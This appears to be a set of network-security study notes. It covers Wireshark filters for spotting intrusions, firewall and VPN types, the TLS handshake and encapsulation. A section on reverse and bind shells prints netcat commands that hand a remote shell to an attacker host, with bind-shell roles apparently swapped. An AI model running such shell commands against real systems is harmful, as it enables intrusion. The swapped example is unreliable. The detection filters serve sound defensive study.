In the realm of cybersecurity, analyzing network traffic plays a crucial role in identifying threats and vulnerabilities. Various tools and techniques are employed to scrutinize packets and extract meaningful insights. Let's delve into some common traffic analysis methodologies and the corresponding Wireshark filters:

Detecting Intrusions and Suspicious Activities

To filter packets based on User-Agent information:

frame contains "User-Agent-info"

When scanning with a Python program:

frame contains "python-requests"

During username and password attempts:

frame contains "Username and/or password incorrect."

Identifying executed commands after receiving a reverse shell:

tcp.flags.push==1 and tcp.flags.ack==1 and tcp.port==5555

Detecting file uploads:

http.request.method==POST

Monitoring file manager usage:

frame contains "gvfs"

Observing requests made by Cadaver:

http.user_agent contains cadaver

Identifying requests to shell.php via a browser:

frame contains "shell.php" and http

Recognizing potential LFI via the 'page' parameter:

http.request.uri contains "page"

Analyzing DNS A records:

dns.a

Identifying traffic related to a phishing tool:

frame contains "canarytoken"

Show only 4444 port in traffic:

tcp.port==4444

Configuring icmpsh on Kali:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Transmitting data via reverse shell using PSH and ACK flags:

tcp.flags.ack==1 and tcp.flags.push==1 and ip.src==127.0.0.1 and ip.dst==127.0.0.1

Customizing Filters

Operators:

Enhanced Filtering Examples

Source and Destination IP Filtering

• Example filter: ip.src == <SRC IP Address> and ip.dst == <DST IP Address>

Port-Based Filtering

• Example filter: tcp.port eq <Port Number> or <Protocol Name>

Additional Information

Utilizing Statistics

• Accessing statistics via the user interface: Statistics > Conversations

Packet Comments Search Function

• Utilizing the search function for packet comments:
  • Navigation: Edit -> Find Packet
  • Selection options: String, packet details
  • Display filter: [frame.comment contains "Your string"]

TCP Packet Headers and Handshake Messages Overview

Understanding TCP packet headers and handshake messages is crucial for analyzing network communication protocols. This section provides a detailed overview of common TCP packet headers and handshake messages, along with their descriptions.

TCP Packet Headers Overview

TCP Handshake Messages

Protocol Overview and Port Descriptions

Table of the 1024 common ports:

• http://www.vmaxx.net/techinfo/ports.htm

Firewall Categories and Descriptions

Stateful Firewall

• Description:
  • This firewall type dynamically determines device behavior based on the entirety of a connection.
  • Resource-intensive due to dynamic decision-making processes.
  • Capable of allowing initial parts of a TCP handshake that might later fail.
  • Can block the entire device if a connection from a host is deemed bad.

Stateless Firewall

• Description:
  • Utilizes a static set of rules to assess the acceptability of individual packets.
  • Consumes fewer resources compared to stateful firewalls.
  • Relies heavily on predefined rules; unmatched rules render the firewall ineffective.
  • Effective for handling large volumes of traffic from specific hosts, such as in Distributed Denial-of-Service (DDoS) attacks.

VPN Technologies Overview

PPP (Point-to-Point Protocol)

• Description:
  • PPP is utilized by PPTP to enable authentication and encryption of data.
  • VPNs employ private keys and public certificates, similar to SSH, for secure connections.
  • PPP itself is non-routable and requires PPTP for data to travel beyond the local network.

PPTP (Point-to-Point Tunneling Protocol)

• Description:
  • PPTP facilitates the transmission of data from PPP, allowing it to traverse and exit a network.
  • PPTP is easy to set up and widely supported but is relatively weakly encrypted compared to other VPN alternatives.

IPSec (Internet Protocol Security)

• Description:
  • IPSec encrypts data within the existing Internet Protocol (IP) framework, ensuring secure communication.
  • While more challenging to configure than other options, IPSec offers robust encryption and broad device support once successfully implemented.

Protocol Types and Descriptions

Difference between GET and POST Requests

Reverse Shells & Bind Shells

Reverse shells and bind shells are both techniques used for remote code execution, but they operate differently and have distinct advantages and disadvantages. Understanding these differences is crucial for effectively executing attacks and bypassing security measures.

Reverse Shells

Reverse shells involve forcing the target to execute code that connects back to the attacker's computer. This allows the attacker to set up a listener on their own machine to receive the incoming connection. Reverse shells are useful for bypassing firewall rules that may prevent direct connections to arbitrary ports on the target.

• On the attacking machine:

  sudo nc -lvnp [PORT]
  

• On the target machine:

  nc [LOCAL-IP] [PORT] -e /bin/bash
  

Bind Shells

Bind shells involve executing code on the target machine to start a listener attached to a shell directly on the target. This listener is then opened up to the internet, allowing the attacker to connect to the specified port and obtain remote code execution. Bind shells do not require any configuration on the attacker's network but may be prevented by firewalls protecting the target.

• On the attacking machine:

  nc -lvnp [PORT] -e "cmd.exe"
  

• On the target machine:

  nc MACHINE_IP [PORT]
  

TLS Handshake Process Overview

The TLS (Transport Layer Security) handshake process establishes a secure connection between a client and a server. This process involves several steps to negotiate connection parameters and exchange cryptographic keys.

• ClientHello: The client sends a ClientHello message to the server, indicating its capabilities, such as supported algorithms.

• ServerHello: The server responds with a ServerHello message, indicating the selected connection parameters. If server authentication is required, the server provides its certificate, which is a digital file to identify itself. The certificate is usually digitally signed by a third party. The server might also send additional information necessary to generate the master key in its ServerKeyExchange message before sending the ServerHelloDone message to indicate that it is done with the negotiation.

• ClientKeyExchange: The client responds with a ClientKeyExchange message, which contains additional information required to generate the master key. Furthermore, it switches to using encryption and informs the server using the ChangeCipherSpec message.

• ChangeCipherSpec: The server switches to using encryption as well and informs the client in the ChangeCipherSpec message.

TCP is characterized by its connection-oriented nature, meaning TCP establishes a connection between a device serving as both the client and the server before data transmission can occur.

Encapsulation & Decapsulation

Encapsulation:

• In computer networks, encapsulation is a method of designing modular communication protocols where logical functions in the network are abstracted from their underlying structures through inclusion or information hiding in higher-level objects.
• The data movement starts from the upper layer and ends at the lowest layer.
• The process involves adding header and trailer sections.
• This process is executed first, followed by decapsulation.
• It occurs inside the source device.

Decapsulation:

• When moving towards its destination, the process of removing header and trailer information from a packet.
• Occurs when data is received on the destination computer during transmission (request).
• Data moves from the lower layer to the upper layer.
• This process involves removing header and trailer sections.
• It is executed after encapsulation is complete.
• Occurs inside the destination device.

Resources

• https://wiki.wireshark.org/CaptureFilters
• https://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html
• https://www.wireshark.org/docs/wsug_html_chunked/AppToolstshark.html